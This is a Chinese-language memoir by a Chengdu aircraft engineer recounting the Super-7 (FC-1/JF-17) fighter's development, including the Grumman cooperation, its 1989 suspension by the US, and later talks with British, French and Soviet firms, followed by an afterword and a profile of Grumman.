接着,米高扬设计局派出4名专家来评审超-7方案,建议已是中等后掠角的机翼,其前缘缝翼改为机动襟翼,垂尾及平尾也同时减小后掠角改变展弦比以改善大攻角特性,零升阻力系数要考虑由吹风模型到实际飞机的有害因素,要适当加大系数等。稍晚米高扬总设计师别里雅柯夫也来成飞公司访问,谈了超-7机翼大攻角稳定性非线性问题。他还说了在机头加小的涡流发生器,虽然很小一片,但效果很大。在问到"米格"-21飞机上两个蓄压器没有用可否取消时,他说这是应急用的,发动机熄火后要紧急着陆时用,过去曾加个应急油泵,后改为蓄压器。 1993年1月,陈金琰带队与中航技同志一起去意大利谈航电。王昂副部长则带队去俄、英、意三国摸航电情况。 1993年2月,成飞副总王寅荣随刘国民赴巴。在会见法鲁克上将时,刘建议中巴合作超-7,巴方投资一半。法表示希望能装意大利航电,飞机单价绝对不能达到1000万美元,最好保持在850万美金。 2月中,王昂副部长来公司召集公司领导层开会,宣布航空航天部党组决定。 同月,我与陈金琰、陈嘉琳赴京,与意大利阿兰尼亚公司谈航电。此后,陈金琰随中航技去巴基斯坦谈航电方案。 1993年4月,刘国民等赴俄,与米高扬设计局签订了超-7技术合作合同。 1993年5月,在北京经5轮谈判后,由中航技与俄克里莫夫设计局签订了为超-7配置的PД93发动机研制批采购合同。 8月,部里正式下达文件为超-7研制立项。 至此,超-7飞机在巴方愿意合作的背景下,中方单独往前推进,并按米高扬设计局咨询意见,改进气动布局等,直至1998年正式签订中巴合作超-7研制的合同。 代后记 超-7飞机终于在2003年8月首飞了。首飞意味着飞机的发展进入了康庄大道,可喜可贺。但超-7这两个字已变成了历史,从今之后,中巴双方分别改名为"枭龙"和JF-17。 为了这个飞机无中生有,多少人为之付出了无数心血和劳动,我这里记载的不可能全,由于许多未经亲历,不便乱写。我的原则是绝对真人真事,如实写出,作为史料,供后人研究评述,是非功过,都用事实说话。决不信口开河,哗众取宠,或添油加醋,或掩盖真相。可喜的是记载比较详尽,花些功夫能写出如此细节,恐飞机史上不多见,差劲的是缺少文采,"非求宫律高,不务文字奇",可读性差。但文章目的不是写报告文学,只是想让人们知道一种这样的飞机,在种种干扰、困苦、非议、中伤、曲折的过程中,能杀出一条"血路"不容易,用真事写出"创业维艰"四个大字,说明世界上没有轻巧的事。这些,本来不仅是局外人甚难理解,甚至我的亲人都感茫然,真是"知我者谓我心忧,不知我者谓我何求。" 康庄大道是一块块石子、一粒粒沙子,无数水泥、钢筋……铺就的,人们为超-7献出了无悔年华,默默无闻地用生命填筑了路基,不为虚名,不为私利。我记载下的和没有记载下的人们,都是真正的创业者,"衣带渐宽终不悔,为伊消得人憔悴",只因祖国航空在他们心中,终身无愧就满足了。板桥诗云:"明年再有新生者,十丈龙孙绕风池。" 我于首飞后赋诗一首,题为"喜见超-7首飞",诗云: 廿载不平路, 今始一飞天。 初试钢翅硬, 万工支撑坚。 ◆格鲁门公司简介 格鲁门航空航天公司是美国主要的航空航天器制造商之一。于1929年由里洛易.格鲁门和隹克.斯沃布尔创建。1994年同诺斯洛普公司合并成为诺斯洛普.格鲁门公司。格鲁门和斯沃布尔原为洛宁飞行器工程公司员工,但后来洛宁飞行器工程公司被契石飞行器公司收购并从纽约市搬到宾夕法尼亚州。格鲁门和斯沃布尔决定退出,他们和其他几个人一起在长岛的Baldwin开办了自己的公司,叫做格鲁门飞行器工程公司。 格鲁门公司的第一架飞机是为美国海军生产,使用可伸缩起落架的F1F双翼战斗机。随后格鲁门还设计了几种成功的飞机。由于格鲁门公司的产品的高可靠性,人们经常把格鲁门公司生产的飞机成为"格鲁门铁器"。 第二次世界大战期间,格鲁门是美国海军主要的舰载机来源。格鲁门第一架单翼舰上战斗机F4F野猫是以在竞标时输给F2M双翼机设计改良之后,重新获得军方采用,并且外销英国皇家海军使用,面对日本零式战机时,F4F是美国海军唯一能够打成平手的舰载机。F6F地狱猫是格鲁门针对零式战机所设计新机种,配合TBF复仇者鱼雷轰炸机,成为美国海军在二次世界大战中期以后的作战主力。 在第二次世界大战结束前,格鲁门另外推出F7F双发动机舰上战斗机以及强调减轻重量的F8F熊猫战斗机,不过这两架飞机都没有机会在二战中发挥实力。F7F于韩战时期担任夜间战斗机的任务。由于格鲁门的产品与产量,日本损失的飞机中由三分之二是被格鲁门公司的产品击落的。 1949年,格鲁门公司生产了该公司第一种喷射战斗机F9F,不过仍然是直线翼设计的F9F性能明显不及苏联的"米格"-15战斗机,因此空战的机会不如空军的F-86。格鲁门在喷射时代初期并不是很顺利,道格拉斯与钱斯-沃特两家公司分别以F-4和F-8两架战斗机称霸整个美国海军的战斗机市场,格鲁门在1960年代陆续推出A-6攻击机、C-2舰上运输机与E-2空中预警机。直到1970年代通过其研制的F-14"雄猫"舰载战斗机重新夺回舰载战斗机的市场。 格鲁门还是阿波罗登月计划的主要参与者,共制造了13个登月舱。在阿波罗计划结束后,格鲁门公司还参与了航天飞机的竞标,但是输给了洛克维尔。 1969年改名为格鲁门航空航天公司。 80年代后期,美国海军准备升级F-14,可冷战的突然结束,导致国防经费大量删减,所有提升与后续发展计划几乎停摆,F-14成为格鲁门最后的绝唱,1994年,格鲁门同诺斯洛普公司合并成为诺斯罗普.格鲁门公司。2006年F-14自美国海军正式退役,为格鲁门的舰载战斗机的设计与生产历史正式画上休止符。 (全文完)
-
◆超-7评审 中方评审组成员抵美开始参加超-7评审,以确定超-7的设计方案,格鲁门公司当时经济上处于窘境,项目上空的阴云并没有散去 1989年4月5日,成飞谢明、侯建武及航空部顾诵芬在翻译张大信陪同下赴美参加超-7初步设计第一次评审。同机飞美的还有设计人员徐德寰、徐鹤阜、罗先轸及徐林。4月7日中航技副总裁刘国民带房颖自巴飞美。此时中方评审组成员已全部到齐。 4月7日刘到来之前,我陪谢侯马牛等去参观联合信号公司在新泽西州梯德罗的飞行系统分部。该分部原是本迪克斯公司的一部分,是一个工程行政分部,2000名职工中,仅软件工程师就有280人。生产线则在宾州,距此有三小时的汽车路。其开发的产品领域有头盔瞄准具、平显、下显、地图仪、数字式和模拟式飞控系统(包括F-16C/D的和B-52的)、航电综合和管理系统、发动机和飞行仪表监控系统等。除听其介绍情况外,我们还参加了他们的试验,包括飞控,还看了他们正在发展的发光二极管显示器等,感到这公司很有实力。 刘到了之后,我们一起交换了情况,针对格鲁门的备忘录进行了分析,这次目的,一是参加评审,二是做我们的决策调查。大家认为,现在碰到没预想到的情况,但还没有到改变我们坚持把9个月初步设计做到底这一方针的地步。 在第一次评审前,经格鲁门起草中方修改后,完成了描述超-7初步设计技术状态近300页的正式评审材料合订本。在3个月工作中,中方提交美方技术文件共44份,双方签署备忘录12份,还有工作周报12份,总体方案、外形数模,高低速风模设计都完了,结构的总体安排,各系统的方案也都商定了。双方参加工作人员虽少,完成的工作量是比较大的。 评审会在4月10日至12日进行,由卡兰觉拉主持,全由格鲁门的主管人员作报告,没有翻译,中美双方全体人员全部出席。这里刚到美的沈泳沅和宋开基等也正好赶上。会上用二天半时间报告了全机的总体布置,机体的设计准则,子系统(发动机、燃油、液压、环控)的概述,航电系统概述,飞机性能目标和预测,风洞试验计划,研制和生产费用估算,市场情况,项目进度计划及其有关问题等。最后半天总结,一般是某个人报告完了之后,就问一句,有什么问题没有,大家不吱声,就0K下去了。原因是事先反复商量过了。真正的重头戏,是在幕后小会上。 小会上又就超视距作战和超音速性能、飞机寿命指标、外挂能力、机翼改进方案以及市场、进度、价格等进行了讨论。最后双方签署了一个第一次评审的备忘录。 美方项目管理一级工作上有困难,主要是格鲁门公司内部对项目的财政支持不够,造成人力及资料来源紧张。为此,刘总专门去找了格董事长奥勃让,向他表示,找市场问题,中方将负起更大的的责任。中方不能同意初步设计半途而废,要求格鲁门公司一级对项目作些支持,奥答应加强格方的工作力量。 评审完,刘总又赴巴做工作,马承麟及陈金琰、邱普达等15日飞返北京。 4月13日及14日,我和牛陪同谢侯顾云参观通用电气公司的发动机分部,由格鲁门的保先生陪同去波士顿。通用电气公司派人招待在假日旅馆住下,在大中国中餐馆吃晚饭。第二天通用电气公司的张维陪同我们到公司参观。这次访问,通用电气公司很重视,专门印了给中国客人的介绍资料。在介绍中得知,通用电气公司在全世界共有30万员工,1988年的营业额为400亿美金,其中发动机占六分之一,即65亿美金(其中军用发动机占52%),员工有38000人,分布于16个工厂。 在讨论时,我向通用电气提出,为了改善超-7的超音速性能,F404能否增加一些推力,或常用战斗状态工作?他们答复战斗状态每次可用5分钟,在整个寿命期间可用25小时,用多了就影响发动机寿命。情况清楚了。 15日,我驻联合国军参团余华栋大校亲自驾车带谢侯与我3人去游长林公园。路过费城时,我们参观了美国古迹独立宫及独立钟。长林公园原来是亿万富翁杜邦的私人花园,后来捐献出来供公众游览,每人收6美元门票供维持环境。面积很大,草坪树林,喷泉鲜花,布置得气魄宏伟,层次分明,环境极好,特别是几个大型室内花房,各地名贵花卉竞相开放,喷泉如球,真是难得一游,可惜下雨不止,手不离伞。次日,中航技驻美代表孙德庆亲自驾车送谢侯去华盛顿我驻美使馆汇报,我陪去。 谢侯及牛新棠由刘明树陪同于20日飞返祖国。 评审活动结束后,初步设计工作进入第二阶段一细化结构和系统设计方案。 4月26日,意大利FIAR公司派人又来介绍他们的GRIFO雷达,并详细解答了格鲁门事先准备的提问。事后卡兰觉拉对我说,这雷达是不错的,以后万一美国政府不卖APG-6,可用它代替。他建议中方今后多和FIAR公司联系。 当时,格鲁门在和我们合作超-7的同时,正在从事由他们公司承包的歼8Ⅱ"和平珍珠"项目。这项目安排在11厂房相邻的厂房工作,故每天上下班,我们与沈阳的同志经常遥遥相望,但相互不来往。 我临回国时,4月28日,和卡兰觉拉谈过一次话。卡兰觉拉说,"和平珍珠"已经决定不考虑改装F404了。如果"和平珍珠"不用F404,即中国政府不正式向美国申请进口F404,那中国是得不到这发动机了,所以超-7要考虑有代用方案,如用RB-199发动机。如果巴基斯坦要超-7,美政府是会给他F404的,因为美政府已同意发放F404给印度,巴基斯坦更没有问题,而中国则是另外一种情况。所以中方要考虑用欧洲的航电和发动机的备选方案。如果没有确定的买主,只是搞试验机,要美国政府批准发放设计用的发动机数据,就很困难了。除非涉及它的设计及试验试飞都在美国进行,那费用又上去了,这也不行。 我问他,在没有买主出研制费的情况下,可不可以只造一架试验机,用它做不破坏的静力试验后,上天试飞,限制过载试飞。他说,这也可以,但详细设计必须出和批生产一样的图纸,只是寿命一开始不一定达到4000小时,也可以不装雷达。X-29飞机造了2架,都试飞了,其中一架就是做了不破坏的静力试验后再飞的。 我又问他,刘国民先生找奥勃让支持超-7,奥答应加强超-7项目,现在格公司内部是否真加强这项目了?他说,格鲁门目前遇到很大的问题,美国防部要减少预算达100亿元之多,故要削减F-14的预算,要停止生产F-14D,而F-14D每架价格达7500万美元。今年刚完成研制,生产6架飞机,就不生产了,剩下只生产F-14A及其他改型机,估计只有两年好生产了。如果生产D型则至少还要生产4-5年。现在格鲁门处在困难时期了。我得到的信息是超-7恐怕很难得到更多支持了。 这个消息当然对我们很不利。 我又一次地对他说,希望格鲁门进一步的论证超视距作战能力和飞机超音速性能二者之间的权衡。卡兰觉拉坚持说,90年代的飞机,必需有超视距作战的能力,在未接近敌机前,有远距离攻击的能力,这是很重要的。格鲁门设计飞机是围绕武器系统的作用来设计的。当然,最后要看买主的需要。 果然不久,格鲁门董事长奥勃让向全公司职工发出一封公开信,要求大家向长岛地区的国会议员写信施加影响,不让政府减少F-14的预算。由此看来情况的确严重。 5月1日,我带着不佳的消息,偕胡正林等离开纽约回国。 超-7合作被挂起 由于美方的无理制裁,中美双方的军事合作都被"挂起来"了,超-7项目也被美方终止,它会成为下一个"佩刀"Ⅱ项目吗? "文化大革命"中,有一个新词,批斗一个干部后,让他靠边,叫作"挂起来",意思是既不免职,也不让他任职。无独有偶,美国文字里有一个词"suspend",既有悬、挂的意思,又有暂停、中止的含义。1989年我国发生"六四"事件之后,美国总统布什于6月5日宣布:"中止一切中美政府间军售和商业性武器出口,中断中美军事领导人之间的互访活动……。"这个中止原词即"suspend"。注意这个中止不是终止,是暂停的意思。歼8Ⅱ"和平珍珠"项目和超-7合作项目都在中止之列。超-7被"挂起来"了。 6月8日晚7时(在纽约是晨7时),我们接到在美负责超-7合作的副总设计师沈泳沅来的长途电话,说格鲁门公司已正式接到政府的通知,超-7项目已被中止。卡兰觉拉通知沈泳沅,中方人员6月9日不必再去格鲁门公司上班,但今天还可去办公室取回一切资料、用品。大约因是公司间的合作,格鲁门网开一面,5日卡即与沈泳沅打招呼,6、7两日中方可抓紧向要问的问题和索取相关的数据资料。而"和平珍珠"项目,则事先未打招呼,7日下班前一小时通知说,8日不能进办公室。 真是蛮横无理,非始料所及。陡然风波起,舟轻不胜颠。 经过和陈金琰等商量,向北京孙肇卿总经理汇报。他已接到中航技驻美代表孙德庆的报告,说格鲁门认为超-7合作是民间项目,尚可争取恢复。我于9日向沈泳沅挂长途电话,告诉他三点:(1)在美的设计人员在住处继续工作,直至按原计划分批返回;原定分批去美的人就不去了。如项目一时恢复不了,沈泳沅、吴绍端和翻译张达信3人留守。我方有人在美,待命观察,可使格鲁门感到压力。他们有责任去活动及早恢复合作。(2)已取回资料让返国的人全部及早打箱带回,以防不测,应按今后不能恢复着眼。若暂停时间太长,我们也拖不起。(3)尽可能在美与格鲁门交换情况,因格鲁门内部工作仍在进行,尚未中断。我们国内按两手作准备,已花了钱,尽可能争取恢复。但另一手验证方案,作"东方不亮西方亮"的打算。 这样,已经赴京准备去美的方玉龙、刘岸斌、康正柏、浦小玉、包宗秀等5人,起先因为动乱取不出外汇,现项目中止,只好折返成都。原定去参加巴黎航展并在那里会晤法鲁克中将和拉森的孙总,也决定不去了。 在此以前,英国马可尼公司提出一整套新的航电系统,航空部领导决定以超-7为装机对象。成飞派黎茂杰副总工程师赴京谈判,作为美国航电之外的另一手准备。 飞机方面,我们积极投入做少花钱的验证机方案,不寄希望于美国发动机了。 5月底.我们派邱普达与中航技的人一起去埃及介绍超-7,后来刘总也赶去,本希望埃及国防部能出具一个要超-7的意向书,草稿也拟奸了,正好碰上埃及新国防部长才上任,国内又出了"六四"事件,只好交待中航技驻埃代表,继续活动,邱等就回来了。 6月中,陈金琰与卡兰觉拉直接通了电话,卡说格鲁门现在还有10名工程师在工作,但没有成飞人的支持,很难干下去了。现在正在做增加机头细长比降低阻力的工作,机头拟加长2英尺。关于中止问题,卡认为这需要一个过程,格鲁门有人在华盛顿做疏通工作,要解冻估计要3个月时间,他认为美国政府不会破坏中美两国间的国家关系。但从坏处想,如中止时间过长,譬如超过一年,则重新捡起来就很难了。陈让卡考虑,如果我们作风洞试验,卡是否可派工程师来看看?卡说,如果政府不解冻,是不可能来的。 6月20日,孙德庆与沈泳沅在纽约约见卡兰觉拉,卡把2份拷贝:美国务院关于中止超-7合作TAA的通知和格鲁门正式通知中航技中止超-7合作的公函,交给孙和沈。并说,希望中方能把9个月初步设计做到底,明确采取做验证机的方案,并表示要让格鲁门对验证机工作进行技术支援。格鲁门得到中方的正式请示后,将动手准备向政府提出恢复技术支援许可证的申请,一旦中美两国政治气候变暖,即可正式提交这个申请。但这里主要是说搞验证机或原型机,而不是做纸面工作,只做纸面工作,其技术支援工作的分量不够,格鲁门很难申请。 除沈等3人留守外,最后一批成飞工程师,宋开基等9人于7月2日撤离纽约。 格鲁门卡兰觉拉等5人,于7月12日去斯坦福会晤孙德庆及沈泳沅,商定中美双方尽快会晤一次,可由中航技发出邀请,去北京谈。中方向格鲁门正式表示了,如果超-7初步设计被停止,中方将必考虑索赔以补偿经济损失。格鲁门公司认为超-7合作中止,超出了格鲁门所能控制的范围,因此中方依法索赔,都不是格鲁门的责任。此后格鲁门以要被索赔为由头再次向国务院申请对中止决定予以复审。拉森又致函刘国民,建议中方先做准备工作,然后在9月份谈判一次。 情况虽然起了变化,但设计所仍在继续超-7初步设计工作。1989年7月11日,我和陈金琰约宋开基等一起听取超-7操纵系统方案汇报,羊衍乾汇报说超-7副翼操纵系统拟参照E型飞机的安排,即助力器后边有两个摇臂和两根拉捍。我说这种布局不行,副翼的支持刚度太差,间隙也大,是要产生抖振的。助力器和副翼之间环节应越少越好,最多有一个摇臂和一根拉捍,E型机这方案不妥,羊回去应向总设计师报告一下。会后,我在大楼走廊上碰到主管E型机静气弹的寿伯康,又对他说了E型机副翼操纵系统不妥的事,请他回去慎重研究。 1989年7月24日,成都飞机工业公司成立。原成都飞机发展中心已完成历史使命,我原任中心副主任自然消失,改任公司高级顾问。 9月初吴绍端奉命返国。此时格鲁门内部的超-7工作已全停,人员也全撤出,以节省开支。 10月中,格鲁门国际部詹姆斯、保延昭及王承栋3人借北京航展机会来京谈超-7,中方刘国民、李泽蕃、牛新棠、任年及陈金琰参加。我另有会议,只见了一面。詹姆斯带了一份格鲁门公司关于超-7工作的现状和建议给我。格鲁门客人表示,初步设计未用完的钱仍保存着,待美政府解除禁令后可继续合作。他们对参加超-7第二阶段工作仍有兴趣,但不直接承担设计和制造。我方表示希望11月份卡兰觉拉能来看风洞试验。我们从其他渠道得知"米格"-29的发动机PД33的情况,并着手收集资料,以便超-7有更多的候选发动机,11月写出了可行性分析。11月底我们超-7风洞试验(低速)圆满结束,中航技孙总致电奥勃让,建议格鲁门派人来讨论试验结果和下一阶段的工作。 12月初奥勃让要求其国际部与中国保持长期关系,在"和平珍珠"正式恢复合作后,再次与政府商讨解决超-7合作,并以奥勃让名义向国务院呈解冻报告,结果仍无下落。估计这事的真正关键在于:(1)格鲁门本身经济困难,对超-7没落实第一用户,资金没着落,信心不足;(2)美国国会和政府对向中国出口F404等有争论,也涉及超-7搞出来对销售F-16有竞争问题,所以阻力较大。1990年初曼可公司事件出来,中航技对美合作也动摇了。 既然部内对超-7与美合作已不寄过大希望,所以此时姜副部长要求成飞自己把初步设计搞完,1993年把原型机搞出来。可设想装苏联发动机,上天后装英国或意大利航电。 1990年2月,在中航技孙总为航电访苏前,我写了一个建议,请他在英顺便摸一下RB-199出口我国的可能性,以便选用发动机可两条腿走路,并寄了超-7装RB-199的初步方案给他。 3月5日,沈泳沅、张达信了结在纽约诸事,撤离回国。与美第二次合作至此终止。 最后值得一提的是,最后结算我们成飞人赴美所花全部外汇费用,都由"佩刀"Ⅱ项目巴方向中方支付50万美金成飞分得45万美金收益中开支。因我们处处节约用钱,故至今尚有节余。3年中,两次与美格鲁门公司合作,取得了技术和信息,提高了我们的水平,增长了我们的见识。因此可以告慰全公司,这也是一个成功。 可以说在国际大三角形势下,我们能进入美国军用飞机设计领域做些有限的合作,是打成功了一次机会极其偶然的擦连球。虽然超-7并未成功,但真正经历过的合作设计,无疑是空前的。 这个经历了三个年头的中美军用飞机合作设计,由于具备了下述五个缺一不可的条件,因而产生了脆弱的"佩刀"Ⅱ/超-7项目,以后也因其中条件起了变化,导致无法前进。 1、成飞有个已打开国际军用飞机市场的歼-7M型飞机; 2、老巴愿出钱搞用歼-7M改型的"佩刀"Ⅱ,并打通美国关系; 3、美国有一个富有军用飞机研制经验,但正走入困境尚未进入绝境的格鲁门公司; 4、中航技公司、成飞公司及航空部机关有一批出以公心因而想法一致、热心此事的或许是天真的积极分子; 5、在冷战时期大三角中,中美关系政治气候比较好。 k 这是一个特殊的历史事件,历史应单独为它写出一章。 ◆开始对欧合作 中美双方在超-7项目的合作因为政治原因而陷入了封冻的状态,歼-7级别的轻型战斗机已不能再满足2000年后的使用需要,中国生产的轻型战斗机将面临无法再立足于世界轻型战斗机市场的危险境地,时不我待,中方开始寻求与欧洲国家的合作,特别是在发动机和航电系统方面 中航技孙肇卿总裁看了我在1990年2月提出的建议,于当年3月在英国与马可尼公司、罗罗公司以及英国皇家航空研究院(RAE)一起开会,探讨超-7(对英叫歼-7MM)在美受到制裁后与英国公司合作的可能性。英国这三家反应都很热烈,愿意积极参与。罗罗公司认为RB199的数据已向中国提供完了,但如感到还缺些什么,可以向他们提出来。马可尼希望目前还在讨论的航电系统快点定下来,否则可能跟不上飞机的计划。RAE愿意担任飞机的技术顾问,帮助中方减少项目的技术风险。后来,卢卡斯公司也向孙总裁表示愿意在机载附件,如前缘襟翼的操纵马达等方面提供合作。 "和平珍珠"计划恢复合作后,格鲁门公司于中途借故提出要增加合同费用两亿多美金,这一点正印证了新加坡不愿与格直接合作的原委,当时新加坡人就对我们说过,格鲁门常在中途要加码。4月份,格鲁门董事长奥勃让鉴于美国政府没有解除超-7禁令的前景,致函孙总,除表示歉意外,准备把尚未用完的经费退回中国。这些,都加深了我们转向欧洲合作的决心。 成飞内部,为完成超-7的初步设计,对42项子系统报告,正逐项进行讨论,以协调各子系统关系,解决待定的问题。 4月6日,法国斯奈克玛公司又派人来淡M88发动机配装超-7的事,我和陈金琰赴京参加谈判,中航技由严天南主管。M88是可以装在超-7上的,只是Ⅱ型推力小了一些,而Ⅲ型推力可以,目前还处于研制阶段,我们要求法国方面去请政府表态,是否可以向中国提供。在此以前,1988年3月和6月,斯奈克玛公司来成都谈过两次,我们感到M88不错,体积较小,重量较轻,技术也较新,只是费用可能较贵,在北京时,我们还找到606所的周总,了解他们涡喷14的进展情况,并主动提出改涡扇14的可能性。这样,超-7配什么发动机就有了4种选择:美国的、英国的、苏联的、法国的,要加上我国自己的涡喷14,就5种了。美国的F404也给了8张蓝图,包括接口、信号交联、尺寸、两张电气原理图等,开展机械设计是够了,只是没有给性能数据。而罗罗的RB199,在多年历经12次接触后,于88年7月给了性能磁带和用户手册,数据较全了。M88的数据也给了一些,只有苏联的PД33,数据还差得多; 1990年4月24日,航空航天部林宗棠部长,王总工程师一行来成飞检查工作,专门听取了我们关于超-7的汇报。汇报后,林部长说,我脑子里过去没有超-7,今天听了是意外的大收获。我主张超-7要和国外合作干,超-7一定要搞,我们要有战略眼光,出口占领国际市场。王总说,我到苏联去,看到了PД33,也谈了一下,他们说如用于单发飞机,要改一改,故要合作。但王总还是强调第一要有意向性用户。这个难题,大家都知道。 罗罗公司有了积极性,于6月11日再次派人访华。我和陈金琰赴京参加谈判,中航技严天南、牛新棠参加。我们与罗罗谈后决定双方用6个月时间合作进行可行性研究,以选定用哪一型别的RB199更合适,从性能、费用、工作量和飞机价格之间进行权衡。7月初又在北京与RAE派来的两人谈判合作问题,他们是马可尼公司阿特尼特带来的。但这关系后来发觉是马可尼公司用它作为诱饵引我们上航电的钩,幸亏事先我曾叮嘱不要过分示弱于RAE,防止形成非他不可的样子,陷于被动。11月再次在京与罗罗公司谈,这次罗罗公司的马丁先生很积极,要参与飞机合作,共同向国际上销售。最后在成都达成了用3个月时间作可行性研究的理解备忘录。年底双方正式签署了备忘录。这个可行性研究主要是分析存在什么风险,以供双方决策。RB199发动机恼人的问题是价格比较贵,它是英、德、意三国联合生产的,罗罗一家说了不算。 出口后继机要快上,航空航天部内上上下下都赞成。部里同志认为过去搞"佩刀"Ⅱ,现在搞超-7,目前发动机换了,应该论证后报告立项,"八五"计划草案里没有它的位置。后来经过各方面的努力,终于列入了"八五"计划。1991年1号文件当年计划里出现了超-7项目,只是没有任何资金保证。 在此之前,部里于1990年9月决定由杨宝树同志于1992年初接总经理的班,故杨已着手公司全面工作,不再具体指挥超-7项目。1990年底,经侯、杨二位研究,告诉中航技,超-7项目今后由常务副总经理成志明、总设计师陈金琰、公司高级顾问屠基达三人管。 1991年1月17日晨,影响今后航空武器发展的海湾战争爆发。 林宗棠部长应超-7项目的要求,写信给苏联航空工业部部长西斯佐夫,提出欢迎苏方参加超-7合作和我方拟进口苏方的PД33发动机,建议双方进行实质性谈判。苏方很快回了信,并于3月1日派出米高扬设计局总体专家恰普金等4人来京洽谈合作。我和陈金琰赴京参加。我们要他们的发动机,他们不派发动机设计局的人却派飞机的人来,令我们奇怪。他们来后说,原因是发动机不可能直接装上我们的飞机,发动机要改,飞机上要装,故首先要有飞机设计的合作。我们一听就知道了他们要扩大合作,控制我们的飞机,并多赚我们的钱,说的道理也有一点。双方分别介绍了各自情况以后,苏方专家又专程到成都看了成飞之后,在北京签署了合作意向书。在谈的中间,恰普金说,90年代中期出来的单发战斗机,当然应该比F-16好。我们急忙解释说,我们资金不多,用户又感到够了,所以我们不追求那么先进,他最后表示理解。当然,我们也知道,从米高扬设计局的水平来讲,应超过F-16的想法是很自然的,而且他们合作出来的飞机水平低也有损其形象。这一点也提醒我们,今后要与米高扬合作,要防止这一倾向。在谈判中,我们才知道PД33发动机的重量1050千克是一个理论重量,叫净重,实际上装到飞机上要重到122l千克,这与西方的重量定义不一样,它号称推重比8一级,实际反不到7,这使我们感到失望。在成都我们用投影仪向他们介绍超-7方案时,苏联人似乎第一次看到这种设备,他们很好奇地仔细看后,问我们要多少钱一台,并相互间说,看结构并不复杂。大名鼎鼎的,在世界上极具权威性的米高扬设计局,能研制出世界上第一流的战斗机,但看来闭塞得也够水平了。 决定发动机合作对象,成为超-7前进中的最大关键,我于1991年2月9日写了一个书面意见,经公司领导看后给中航技孙、刘局长,主张RB199及PД33都抓,两条腿走路。他们看后,基本同意我的意见。这次去京后,又当面向他们谈了。 4月份,法国SAGEM公司派人来成飞,介绍他们航电设备的情况。月底,陈金琰在京会见了因其他项目来华的苏联克里莫夫发动机设计局总设计师萨基索夫,初步了解了其PД33发动机机匣由上方移往下方技术上是可行的,只是改动量较大。萨基索夫说,只要你能购置100台发动机,我就什么都可以改。但要改,必须和米高扬设计局合作才行。这口气,看来他们在国内统一过口径,而且的确在苏联内部,飞机设计局是老大。陈在京还遇到格鲁门公司的王承栋,由牛新棠出面,请他一起吃了饭。王前些日子发现有胃癌,开了一刀,现在又到中国来出差了。 经过一年的努力,对苏合作关系疏通好之后,中航技决定5月由孙肇卿带队组团赴苏联和英国去谈两个发动机以及米高扬、马可尼的合作,以及卢卡斯系统成品,可能涉及RAE的关系等。在此之前,中航技严天南已出访过罗罗公司及斯奈克玛公司,我和陈金琰要访罗罗公司及马可尼公司的签证已办过一次,因对苏合作关系未接好而拖了下来。 赴苏、英团组,成飞由我、陈金琰、成志明参加。我们三人于出访前写了一个谈判中掌握若干具体策略和原则的报告,报侯、杨二位领导批示同意。 早在1990年10月,北京开亚运会,预定即将升任参谋长的巴空法鲁克中将率巴基斯坦体育代表团来京。孙肇卿请法鲁克吃饭。法鲁克对孙说,格鲁门的关系不要断,在格鲁门那里的钱不要拿回来,超-7有朝一日可以恢复合作,只要单价在1000万美金以下,1995年前弄出来,也是可以的。所以虽然格鲁门董事长奥勃让于1990年4月已通知孙去取回余款,到了7月奥辞去董事长职务,由卡坡拉里继任,到1991年5月,中航技仍未去结账。另一方面,中航技仍在继续做巴空的工作,争取他们对超-7能表示一个书面意向。在发动机中,巴空对PД33感兴趣。估计是从政治关系出发的。 前苏联之行 中苏关系几经波折,在中美合作被挂起之际,中苏合作的大门已经敞开了,不过苏联此时已是风中之烛,与苏联航空业界在超-7项目上进行合作仍然并非是一条坦途 1991年5月17日,我们一行飞北京,在京会同孙肇卿,马承麟、牛新棠于20日坐CA909航班波音767飞机直飞莫斯科。下午5时起飞,飞行8小时40分之后在国际机场着陆。下机出关,驱车去莫斯科国内机场,坐米高扬设计局自己的飞机雅克-40去到列宁格勒。上了飞机,一直不飞,才知道因苏联物价飞涨,航调要求增加三倍工资,还在谈判,如谈判不成,将于21日凌晨起罢工。幸好不久谈判胜利,我们起飞了,飞了一个半小时到列宁格勒,克里莫夫设计局的车来接。途中车又被涅瓦河上的大桥所阻,原来此桥中间可开启,让大船通过,凌晨2点至3点05分为通船时间。如此折腾到克拉莫夫设计局的招待所,吃夜宵后睡下,已是4时多。 在北京时,听有人介绍,去苏联要准备饿肚子,半信半疑。上了我们国内航班,空中小姐说,大家饮料杯要节约用,因飞机到莫斯科,没供应可上,需要留一些杯子回国用。我们一听预感情况不妙,故大家把飞机上的供应尽量吃掉。下了飞机改乘雅克-40时,接待的小姐给我们拿来矿泉水和三明治,只有普通面包四分之一大小的两小块黑面包中夹了一小块香肠,大家都不吃。 我饿了,吃了两块。大多数同志已8个多小时未进食。当时苏联卢布官价在机场看到是1美元换1.7卢布,但在莫斯科黑市1美元可换30多卢布。物价上涨两三倍后,国家决定每个职工津贴100卢布,每个小孩津贴60卢布,当然跟不上物价。设计局专家的工资不满1000卢布,总设计师才1500卢布。按黑市汇率,1元人民币约等于6个卢布,与他们过去比,其工资极为微薄了。黑市1公斤香肠40卢布,用美金只1元多,则很便宜了。 睡了两三个小时,21日早上8点半,我们赴克里莫夫设计局。它是以克里莫夫命名的列宁格勒科研生产联合体。今年正好是成立75周年,现是第三任总设计师,在大楼口有获得两次"苏联英雄"称号的克里莫夫中将的半身铜像。我们是他们历史上第一次接待的中国客人。到了克局我们首先吃早饭。克局参加谈判的有一大帮人,为首的是相当于总工程师的总设计师,叫斯达罗伏伊钦科夫,还有几位联合体的副总经理。(他们设计局总负责人是总设计师(General Designer),改制后对外称总裁或总经理,还有一位管技术的副手,也译为总设计师(Chief Designer))。米高扬设计局的副总设计师动力装置专家别兹留特柯也专程来参加了。 谈判开头斯达即反对将发动机附件机匣由上头改到下头。孙总直截了当的问斯达,你们准备给我们的发动机,是不是最新的型号,斯达说,是的。(按:这里斯达撒了谎) 